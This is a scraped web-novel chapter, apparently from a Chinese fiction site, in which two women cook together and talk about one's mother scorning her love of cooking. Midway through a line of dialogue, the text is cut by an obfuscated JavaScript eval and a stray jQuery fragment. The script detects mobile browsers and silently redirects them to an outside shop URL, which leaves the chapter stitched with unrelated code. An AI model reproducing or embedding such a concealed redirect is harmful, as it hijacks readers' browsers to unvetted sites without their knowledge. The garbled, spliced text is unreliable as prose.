文趣网 > 都市小说 > 魔尊总求我复合 > 4. 宴宁十载风又起(四)
    文落诗不知为何,嘴角一扬:“我什么态度?”

    她没什么好担心的。家里多了个不速之客,她也无所谓。有人帮她炒菜,她就温温柔柔往旁边一站,嘴角挂着浅笑,笑比夏日里的暖风还和煦。

    不像是软弱可欺,反倒像是?智珠在握,无论眼前发现什么变数,她都游刃有余。足够强大,才敢随随便便放窦明祈这个“变数”进屋。

    “你对我态度太好了,搞得你我跟朋友一样。”窦明祈嗔了她一眼,边炒菜边咂嘴,“你应该凶神恶煞一些,摆出一副瞧不起我的架势……算了,你肯定做不到。那你就保持你一贯冷冰冰的样子,绷着一张脸,不管我说什么你都不搭理我,最后冷艳一笑,抬抬手指,让我死得悄无声息。”

    文落诗愣了半晌,忽然笑出声来。

    “可以啊,你连我最新的话本子都看了?还熟读背诵了?”

    这是她上一本书里,女主人公对付挑衅之人的方式。

    这位大小姐还把文落诗的描写都给背下来了。

    窦明祈气哼哼转头:“我认真的!我可是你情敌!你都不应该欢迎我进门!”

    文落诗把脑袋轻轻一歪,笑道:“我没欢迎你啊,不是你自己进来的?”

    “那、那我要进来,你就放我进来?你不会拒绝……”

    “若是真不想欢迎你,我早该挥挥袖子把你扔出巷口。毕竟对我来说,此事不在话下。”说到此,文落诗做出一副认真思考的模样,刻意补上了一句杀人诛心的话,“如果关于你修为的传言属实。”

    大宗伯窦铃身居高位,性格沉稳,学识修为双双过人,且气魄极强,当年为了帮学堂里受到不公平待遇的女学生争一口气,她咬着牙从白衣之身,做到了当今的万人景仰的位置,百姓纷纷赞颂。

    但她的女儿,窦明祈,却是个典型的官二代。

    啥啥都不行,修为还极差,用窦大宗伯本人话来说,就是“不知道以后能干啥”。

    但文落诗的传言却可好了——特别是这半年之前。无论是学识还是修为,她都比一般人高出一大截,是连九重天融雪城的人都忌惮的程度。文落诗去街上逛游,大多数人还是仰慕的眼神看她。她之前救人无数,再加上书写得好,就算有人骂她,归根结底是少数。只不过这些少数人,往往叫嚣得最甚。

    窦明祈一听,气得把铲勺往锅里一扔,双手叉腰,转身对文落诗怒目而视。

    良久,她泄气道:“怪不得太子殿下能看上你。你和他一样黑心黑肺。表面上波澜不惊,实则早就把人给骂了。看你方才在门口一言不发,实际上,估计早就把我的底盘摸得清清楚楚。”

    文落诗笑笑,不答。很明显,但凡提及某人,她不愿意在这个话题上多说一句。

    窦明祈见她神色淡淡,破天荒没再说话,转过头去一声不吭地炒菜,一副乖巧的模样。

    好像刚做了什么得罪人的事,心生尴尬,怕对不住文落诗。

    结果没过多久,文落诗反倒主动凑到她身边,跟没事人一样,疑惑道:“你炒茄子,为什么要放醋?”

    窦明祈得意洋洋道:“我自己研究出来的,放一点点醋会好吃。”

    文落诗似懂非懂,认真记下。

    做饭之人,一眼就能看出别人会不会做饭。眼前这位窦小姐,从她拿起铲勺的那一刻,文落诗就知道,她在这一行里,恐怕是人中翘楚。

    “你现在闲着?去帮我把扁豆洗了。我纡尊降贵给你登门当厨子,只帮你补救补救鸡汤和茄子,太过大材小用。我看你正好有扁豆,给你做扁豆闷面。”

    文落诗一惊:“我一晚上吃不了这么多!”

    窦明祈很不屑地施法,一道黑气涌出,盘上角落里堆成小山的水果,形成了一个简单却看不懂的阵法,晶莹剔透,围绕着水果转转转。

    文落诗走近后才惊奇发觉,有此阵法在,水果可以一直保持冰冻状态,也不会在夏年间动不动就腐烂了。

    窦明祈的意思很明显,吃不了就冻着呗,明天热一热再吃。

    文落诗意识到这门术法有多伟大后,略显震惊地抬头,认认真真道:“窦小姐,回头你这个术法,连带着方才给厨房降温的术法,可否传授与我?”

    窦明祈一听,美滋滋回答:“虽说我不喜欢你,还和你是敌对关系,但我勉为其难答应了。你给了我炒菜的地方,我就当是谢礼了。你是不知道,找个我能炒菜做饭的地方可难了。”

    文落诗以为她会继续说下去,比如即便难,她也能找出地方,那处地方是哪里。但出乎意料,窦明祈一个字都没再往下说,好像在刻意隐瞒什么,守口如瓶。

    “你有什么忌口吗?”窦明祈问道。

    文落诗立刻自报家门:“我不吃葱,不吃姜,不吃蒜,不吃香菜。”

    窦明祈失语片刻,叹气:“你这些都不吃,真是活得半分滋味没有啊。”

    她以为文落诗又会平平淡淡说出怼人的话,结果过了半天,她也没得到回答。

    窦明祈心下奇怪,转过头,见文落诗正蹲在扁豆前研究冷冻的阵法,神色前所未有的认真。她还不知从何处拿出了纸笔,将阵法画下来。一本书在半空中飘着,文落诗时而抬头时而低头,好像在将阵法与书上的记载进行比对。

    她气得咬牙切齿。

    “洗菜去!书呆子!”

    *

    晚上,夏夜清亮,烛火飘荡,后院花香飞扬。两个姑娘坐在前厅内吃饭,轩窗上映出两道细长的影子,平静而温馨。

    文落诗吃着香气四溢的扁豆闷面,眼神崇拜地看着窦明祈:“窦小姐,你在做饭方面,实乃天人。”

    窦明祈解了围裙,满脸不屑地往文落诗对面一坐,低头夹菜:“虽然我不喜欢你,但你别老这么叫我。这里又不是九重天,我好不容易出来透口气,你这一声声叫得我心烦。直接叫我名字。”

    文落诗也不戳穿她,笑道:“好,明祈。”

    窦明祈瞪了文落诗一眼:“叫我小豆。”

    “小豆?”

    “我们家姓窦,为了区分,就有了一套外号。我娘主事,所以她是大豆。我老爹年纪最大,他是老豆,我是小豆,我弟弟是小小豆。”

    文落诗惊了:“还有这一说?”

    窦明祈得意道:“你不知道了吧?你连这都不知道,还想来融雪城混?在九重天上,大家见到我都喊小豆。”

    文落诗笑了笑:“我不去九重天,还真不知道这个。”说罢,她像模像样补充了一句,“小豆见谅。”

    窦明祈差点没憋住笑。她赶紧调整神情,绷紧了脸,又差点绷不住,只好假装低头吃面,躲过文落诗的温温柔柔的那道视线。

    文落诗估摸着,对于窦明祈来说,“文落诗”这个名字只不过是她跑出九重天的借口。她一直在猜窦明祈来此的真正目的,如今,她有个极为大胆的猜测。

    “小豆,”文落诗避免饭桌上太枯燥,重新开口,找了个话题,“你家里的饭,都是你来做吗?”

    窦明祈露出不悦的神情:“以前是,现在不是了。”

    “你们府上,没有厨子吗?”文落诗疑惑。

    据她所知,那些名门望族内人员繁杂,一户人家最多能有好几百甚至千人,而仆人们必定是分工明确,自然会有人负责厨房的事务。就算窦家人员简单,也终归是高门大户,说什么也轮不到千金小姐亲自下厨做饭吃啊。

    窦明祈头埋得很低:“有一个。剩下的都被我遣散走了。我当时想的是,万一哪天我不在家,家里人又懒得去外面酒楼吃饭,就让厨子做。不然一般都是我做。”

    文落诗因常年写作,习惯于观察人,对人的一举一动很是敏锐。此刻她意识到,窦明祈似乎不太喜欢这个话题。

    她刚想换个话题,窦明祈就忽然抬头,盯着文落诗的眼睛,开口:“我娘这些年不让我做饭了。”

    文落诗应道:“怪不得从未听说过你厨艺超群的事。”

    窦明祈顿时一汪委屈涌上心头,眼睛里多了一层厚重的雾。

    “我娘说,女子就应该像她一样多做正事,扩展学识、提升修为、建功立业,长大后去博得一身功绩。做饭这种连三教九流都算不上的事,是不学无术、只会甜言蜜语伺候人的那些姑娘才做的。她不让我学这个,说我若是硬要学,便不要我了。一点野心都没有,配不上窦家女儿这个身份。窦家不养闲人。”

    文落诗皱眉:“你娘是这么认为的?”

    窦明祈点头,深深叹出一口气,自顾自喝了几口鸡汤:“我娘那么厉害,我哪里比得上她。再说了,我硬学也学不来。我没有她那么大志向,我偏偏喜欢她看不起的这些事。”

    “但你还是没放弃自己喜欢的事,对吗?

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17886750|212579||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ”

    “对,一有机会我就看菜谱,一有机会我就跑到外面去,去酒楼的厨房,去客栈的后厨,去朋友家里,特别是去……啊,没有,没了。总之,我就是喜欢做饭,我觉得做饭的时候我很开心。我最大的愿望就是开家酒楼,然后自己当东家兼掌勺。”

    文落诗放下筷子。

    她脑海中涌起一段十三年前的回忆。

    彼时她做了好多好吃的,略带调.情意味地拿筷子夹着,投喂到那人嘴里。两人说说笑笑,笑得比糯米糕上的桂花蜜还要甜。

    突然,文落诗想起什么,不动声色地深深看了窦明祈一眼。

    她确定了。

    她知道窦明祈这次找上门的目的了。

    “小豆,我想劝劝你,不知道能否劝得动。”文落诗轻轻道,“我很崇拜你娘,欣赏她的气魄和功绩。但你娘这个想法,怕是不太对。”

    窦明祈默道:“我不知道。”

    文落诗道:“你做饭是为了自己开心,并非你娘所谓的讨好别人,也就是说,你在做一件本就很有天赋的事,不是说只有抛弃了自己的优秀,去迎合别人眼中世俗的期望,才叫强大。”

    窦明祈懵懵懂懂抬头。

    “你看我,我也是女孩子,也有很多人问我为什么不去融雪城,为什么不入朝为官——我不想啊。我有我自己想做的事,我做了,而且做得很好,我就很满足。虽说能力越大责任越大,可从没有规定说强者必须站在高处,否则就是对不起众生。强迫他人向上走,也是一种残忍,是一种更可怕的世俗枷锁。”

    窦明祈泪眼汪汪道:“我就知道,我和你说这些,你肯定能理解我。别人都不理解。”

    文落诗点点头:“并非像你娘所说,我们一点野心都没有,而是,我们把野心用在了自己希望的地方。不是只有叱咤风云立于人前才算成功。你按照你的心愿过好日子,做到你想做的,就很成功了。”

    窦明祈似懂非懂地看着文落诗,一声不吭,像只蔫巴的小猫。

    “姐姐再多说一句。别听男人嘴里那些会做饭就等同于不够独立依靠别人的陈词滥调。你会做饭,自己照顾好自己,是非常厉害的事。说白了,一帮不会做饭的臭男人,离了自己家夫人就一口饭都吃不上,生活也邋里邋遢一团糟。明明是什么都不会,还倒打一耙,说女人弱,给他做饭是理所应当。这种男人我见一个打一个,这些年我打过不少。反正你也知道,我手下从无败绩。”

    窦明祈认认真真想了半天,才道:“所以,我喜欢做饭是一件值得骄傲的事情?没有我娘说得那么不堪?”

    文落诗给她夹了点茄子放在碗里:“你尝尝你做的茄子,多好吃,整个九天都没人能和你比。”

    窦明祈气哼哼把茄子往嘴里一塞,郁闷道:“我一直觉得我娘可厉害了,她肯定什么都是对的。”

    文落诗笑笑:“不一定,谁都有被世俗思想限制住的时候。姐姐之前也有。”

    说罢,文落诗心满意足,继续拿起筷子吃饭。

    劝窦明祈是其次,文落诗心中窃喜的,是她通过此事,猜到了窦明祈为何会来找她。

    哎呀。

    不知道为何,她就是心里有那么一点高兴。

    窦明祈缓过神来,见文落诗眉眼含笑,笑意很深,顿时炸毛:“姐姐什么姐姐?谁让你自称姐姐了?”

    文落诗不搭理她。

    “既然是我姐姐,晚上必须让我在你这里住。”窦明祈故意端着,甚至用的是命令的语气。

    “好啊。”文落诗低头吃着扁豆闷面,“你住吧。”

    窦明祈没想到文落诗答应得如此云淡风轻,心中不得劲,语气发酸:“落诗,你不应该脾气这么好的,特别是对我。我方才在门口骂得那么难听,你还收留我过夜。”

    她硬着头皮,说出了自己的心里话:“你、你真是大爱无疆。”

    “有姜!有姜!“

    恰好此时,文落诗一口将面条吐出来,哭丧着脸,咳嗽不止。

    “有姜……我说了不要放姜……我吃不了姜……你哪来的姜啊啊啊……”

    窦明祈目瞪口呆。

    她刚刚,好像确实不小心在炒扁豆的时候放了几片姜。

    文落诗眼泪欲流:“你还随身带调料?”

    窦明祈颔首,尴尬道:“习惯了,顺手扔进去的。”